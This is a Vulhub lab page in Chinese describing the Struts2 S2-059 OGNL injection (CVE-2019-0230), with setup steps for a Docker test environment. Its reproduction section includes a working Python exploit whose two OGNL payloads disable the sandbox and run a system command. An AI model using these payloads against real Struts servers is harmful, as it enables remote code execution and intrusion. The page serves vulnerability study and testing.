Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
1.8 KiB
1.8 KiB
Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
Apache Struts框架, 会对某些特定的标签的属性值，比如id属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式，造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本: Struts 2.0.0 - Struts 2.5.20
参考链接：
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
漏洞环境
启动 Struts 2.5.16环境:
docker compose up -d
启动环境之后访问http://your-ip:8080/?id=1 就可以看到测试界面
漏洞复现
访问 http://your-ip:8080/?id=%25%7B233*233%7D，可以发现233*233的结果被解析到了id属性中：
《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc，利用这个poc可以达到执行系统命令。
通过如下Python脚本复现漏洞：
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
执行poc之后，进入容器发现touch /tmp/success已成功执行。
